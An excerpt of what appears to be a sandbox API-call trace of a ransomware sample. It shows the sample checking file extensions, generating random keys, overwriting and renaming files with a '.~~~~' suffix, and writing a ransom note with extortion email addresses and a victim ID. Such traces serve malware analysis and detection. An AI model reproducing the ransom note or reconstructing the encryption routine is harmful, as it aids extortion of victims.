	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0083.848] lstrlenW (lpString=".ndf") returned 4
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0083.848] lstrlenW (lpString=".DB") returned 3
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0083.848] lstrlenW (lpString=".sql") returned 4
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0083.848] lstrlenW (lpString=".MYD") returned 4
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0083.848] lstrlenW (lpString=".DBT") returned 4
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0083.848] lstrlenW (lpString=".ACCDB") returned 6
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0083.848] lstrlenW (lpString=".fdb") returned 4
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0083.848] lstrlenW (lpString=".bak") returned 4
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0083.848] lstrlenW (lpString=".myd") returned 4
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0083.848] lstrlenW (lpString=".DTXS") returned 5
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0083.848] lstrlenW (lpString=".ckp") returned 4
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0083.849] lstrlenW (lpString=".dbt") returned 4
	[0083.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0083.849] lstrlenW (lpString=".db") returned 3
	[0083.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0083.849] lstrlenW (lpString=".TXT") returned 4
	[0083.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0083.849] lstrlenW (lpString=".MDF") returned 4
	[0083.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0083.849] lstrlenW (lpString=".bdb") returned 4
	[0083.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0083.849] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.849] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.850] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.850] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.850] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20384046034) returned 1
	[0083.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bcfd8d0, dwHighDateTime=0x1d60e1e)) 
	[0083.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387bc0
	[0083.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387bc0 | out: hHeap=0x300000) returned 1
	[0083.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807808
	[0083.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807808 | out: hHeap=0x300000) returned 1
	[0083.851] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.851] GetLastError () returned 0x0
	[0083.851] GetLastError () returned 0x0
	[0083.851] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.851] GetLastError () returned 0x0
	[0083.852] GetLastError () returned 0x0
	[0083.854] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffc4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.854] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x3b1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x3b1, lpOverlapped=0x0) returned 1
	[0083.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.854] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.854] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.854] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.854] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.854] CloseHandle (hObject=0x11c) returned 1
	[0083.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6750
	[0083.855] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.~~~~")) returned 1
	[0083.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6750 | out: hHeap=0x300000) returned 1
	[0083.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.855] GetLastError () returned 0x0
	[0083.856] RtlWakeConditionVariable () returned 0x365f70
	[0083.856] GetCurrentThreadId () returned 0xaf0
	[0083.856] GetCurrentThreadId () returned 0xaf0
	[0083.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6750
	[0083.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6a30 | out: hHeap=0x300000) returned 1
	[0083.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9378 | out: hHeap=0x300000) returned 1
	[0083.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6a30
	[0083.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.859] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.859] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0083.860] CloseHandle (hObject=0x11c) returned 1
	[0083.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6a30 | out: hHeap=0x300000) returned 1
	[0083.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6750 | out: hHeap=0x300000) returned 1
	[0083.861] RtlWakeConditionVariable () returned 0x365f70
	[0083.861] GetCurrentThreadId () returned 0xaf0
	[0083.861] GetCurrentThreadId () returned 0xaf0
	[0083.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0083.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab570 | out: hHeap=0x300000) returned 1
	[0083.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9340 | out: hHeap=0x300000) returned 1
	[0083.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab570
	[0083.861] lstrlenW (lpString=".scr") returned 4
	[0083.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".scr") returned 0x0
	[0083.861] lstrlenW (lpString=".cmd") returned 4
	[0083.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".cmd") returned 0x0
	[0083.861] lstrlenW (lpString=".dll") returned 4
	[0083.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".dll") returned 0x0
	[0083.861] lstrlenW (lpString=".bat") returned 4
	[0083.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".bat") returned 0x0
	[0083.861] lstrlenW (lpString=".cpl") returned 4
	[0083.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".cpl") returned 0x0
	[0083.861] lstrlenW (lpString=".sys") returned 4
	[0083.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".sys") returned 0x0
	[0083.861] lstrlenW (lpString=".msc") returned 4
	[0083.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".msc") returned 0x0
	[0083.862] lstrlenW (lpString=".com") returned 4
	[0083.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".com") returned 0x0
	[0083.862] lstrlenW (lpString=".lnk") returned 4
	[0083.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".lnk") returned 0x0
	[0083.862] lstrlenW (lpString=".msp") returned 4
	[0083.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".msp") returned 0x0
	[0083.862] lstrlenW (lpString=".pif") returned 4
	[0083.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".pif") returned 0x0
	[0083.862] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.862] lstrlenW (lpString=".sqb") returned 4
	[0083.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".sqb") returned 0x0
	[0083.863] lstrlenW (lpString=".ost") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".ost") returned 0x0
	[0083.863] lstrlenW (lpString=".txt") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".txt") returned 0x0
	[0083.863] lstrlenW (lpString=".mdt") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".mdt") returned 0x0
	[0083.863] lstrlenW (lpString=".BDB") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".BDB") returned 0x0
	[0083.863] lstrlenW (lpString=".eql") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".eql") returned 0x0
	[0083.863] lstrlenW (lpString=".DBF") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".DBF") returned 0x0
	[0083.863] lstrlenW (lpString=".EQL") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".EQL") returned 0x0
	[0083.863] lstrlenW (lpString=".FDB") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".FDB") returned 0x0
	[0083.863] lstrlenW (lpString=".EDB") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".EDB") returned 0x0
	[0083.863] lstrlenW (lpString=".DACPAC") returned 7
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.863] lstrlenW (lpString=".VHD") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".VHD") returned 0x0
	[0083.863] lstrlenW (lpString=".DBV") returned 4
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".DBV") returned 0x0
	[0083.863] lstrlenW (lpString=".dacpac") returned 7
	[0083.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".dacpac") returned 0x0
	[0083.864] lstrlenW (lpString=".sdf") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".sdf") returned 0x0
	[0083.864] lstrlenW (lpString=".accdb") returned 6
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".accdb") returned 0x0
	[0083.864] lstrlenW (lpString=".DBX") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".DBX") returned 0x0
	[0083.864] lstrlenW (lpString=".MDT") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".MDT") returned 0x0
	[0083.864] lstrlenW (lpString=".SQB") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".SQB") returned 0x0
	[0083.864] lstrlenW (lpString=".vhd") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".vhd") returned 0x0
	[0083.864] lstrlenW (lpString=".bac") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".bac") returned 0x0
	[0083.864] lstrlenW (lpString=".mdf") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".mdf") returned 0x0
	[0083.864] lstrlenW (lpString=".BAK") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".BAK") returned 0x0
	[0083.864] lstrlenW (lpString=".BAC") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".BAC") returned 0x0
	[0083.864] lstrlenW (lpString=".dbs") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".dbs") returned 0x0
	[0083.864] lstrlenW (lpString=".vhdx") returned 5
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".vhdx") returned 0x0
	[0083.864] lstrlenW (lpString=".NDF") returned 4
	[0083.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".NDF") returned 0x0
	[0083.865] lstrlenW (lpString=".dat") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".dat") returned 0x0
	[0083.865] lstrlenW (lpString=".DBS") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".DBS") returned 0x0
	[0083.865] lstrlenW (lpString=".CKP") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".CKP") returned 0x0
	[0083.865] lstrlenW (lpString=".edb") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".edb") returned 0x0
	[0083.865] lstrlenW (lpString=".PST") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".PST") returned 0x0
	[0083.865] lstrlenW (lpString=".dbf") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".dbf") returned 0x0
	[0083.865] lstrlenW (lpString=".SQL") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".SQL") returned 0x0
	[0083.865] lstrlenW (lpString=".pst") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".pst") returned 0x0
	[0083.865] lstrlenW (lpString=".dbv") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".dbv") returned 0x0
	[0083.865] lstrlenW (lpString=".SDF") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".SDF") returned 0x0
	[0083.865] lstrlenW (lpString=".dtxs") returned 5
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".dtxs") returned 0x0
	[0083.865] lstrlenW (lpString=".db3") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".db3") returned 0x0
	[0083.865] lstrlenW (lpString=".OST") returned 4
	[0083.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".OST") returned 0x0
	[0083.866] lstrlenW (lpString=".dbx") returned 4
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".dbx") returned 0x0
	[0083.866] lstrlenW (lpString=".DB3") returned 4
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".DB3") returned 0x0
	[0083.866] lstrlenW (lpString=".DAT") returned 4
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".DAT") returned 0x0
	[0083.866] lstrlenW (lpString=".VHDX") returned 5
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".VHDX") returned 0x0
	[0083.866] lstrlenW (lpString=".ndf") returned 4
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".ndf") returned 0x0
	[0083.866] lstrlenW (lpString=".DB") returned 3
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".DB") returned 0x0
	[0083.866] lstrlenW (lpString=".sql") returned 4
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".sql") returned 0x0
	[0083.866] lstrlenW (lpString=".MYD") returned 4
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".MYD") returned 0x0
	[0083.866] lstrlenW (lpString=".DBT") returned 4
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".DBT") returned 0x0
	[0083.866] lstrlenW (lpString=".ACCDB") returned 6
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.866] lstrlenW (lpString=".fdb") returned 4
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".fdb") returned 0x0
	[0083.866] lstrlenW (lpString=".bak") returned 4
	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".bak") returned 0x0
	[0083.866] lstrlenW (lpString=".myd") returned 4
